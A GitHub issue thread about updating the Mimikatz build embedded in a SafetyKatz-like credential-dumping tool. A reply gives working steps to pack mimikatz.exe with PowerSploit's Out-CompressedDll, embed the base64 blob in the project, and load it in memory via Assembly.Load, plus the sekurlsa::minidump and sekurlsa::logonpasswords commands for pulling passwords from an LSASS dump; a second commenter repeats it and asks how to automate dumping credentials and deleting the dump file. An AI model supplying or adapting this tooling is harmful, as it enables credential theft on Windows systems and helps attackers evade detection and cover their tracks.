Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

how to upgrade build in Mimikatz to latest version ? #6

Open
wxlg1117 opened this issue May 24, 2019 · 2 comments
Open

how to upgrade build in Mimikatz to latest version ? #6

wxlg1117 opened this issue May 24, 2019 · 2 comments

Comments

@wxlg1117
Copy link

build in version is mimikatz 2.1.1 and latest version is 2.2.0
please

@wxlg1117 wxlg1117 changed the title how to update build in Mimikatz to latest version ? how to upgrade build in Mimikatz to latest version ? May 24, 2019
@ineffectivecoder
Copy link

ineffectivecoder commented Jul 19, 2019

Import Powersploit module from here:
Powersploit

Import-Module .\PowerSploit.psd1

Compile new Mimikatz... I'll leave that to you.
Run Out-COmpressedDll against mimikatz.exe and dump to text file

Out-CompressedDll .\mimikatz.exe > mimikatz.txt

Grab all the data between

'' ignoring $EncodedCompressedFile = @' and @
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1119232)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1119232) | Out-Null
[Reflection.Assembly]::Load($UncompressedFileBytes)
You just want the encoded bytes, nothing else.

View Program.cs in the SafetyKatz project and modify the array size of Byte[] unpacked = new byte[1200000]; to the size of your new mimikatz executable. In my case it was 1100000 bytes.
Lines 111 and 116 respectively.

Next,
Under constants.cs place the new string you generated from mimikatz.txt.
Compile and enjoy.
Note, the original developer was automatically working with the dump file generated, this will
just get you a functional mimikatz where you can execute the proper commands to interact with the dump file.
For example
sekurlsa::minidump C:\WINDOWS\Temp\debug.bin
sekurlsa::logonpasswords full

Enjoy!

@NickYan7
Copy link

NickYan7 commented Aug 6, 2021

Import Powersploit module from here:
Powersploit

Import-Module .\PowerSploit.psd1

Compile new Mimikatz... I'll leave that to you.
Run Out-COmpressedDll against mimikatz.exe and dump to text file

Out-CompressedDll .\mimikatz.exe > mimikatz.txt

Grab all the data between

'' ignoring $EncodedCompressedFile = @' and @
$DeflatedStream = New-Object IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1119232)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1119232) | Out-Null
[Reflection.Assembly]::Load($UncompressedFileBytes)
You just want the encoded bytes, nothing else.

View Program.cs in the SafetyKatz project and modify the array size of Byte[] unpacked = new byte[1200000]; to the size of your new mimikatz executable. In my case it was 1100000 bytes.
Lines 111 and 116 respectively.

Next,
Under constants.cs place the new string you generated from mimikatz.txt.
Compile and enjoy.
Note, the original developer was automatically working with the dump file generated, this will
just get you a functional mimikatz where you can execute the proper commands to interact with the dump file.
For example
sekurlsa::minidump C:\WINDOWS\Temp\debug.bin
sekurlsa::logonpasswords full

Enjoy!

awesome work bro!!
And here is an another problem is that I want to use the mimi like oringinal developer in this program, which means I want the program to execute "dumpfile & dump creds & delete debug.bin" automatically, is there any ways to do with mimi? Please check this.

Thanks a lot.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

3 participants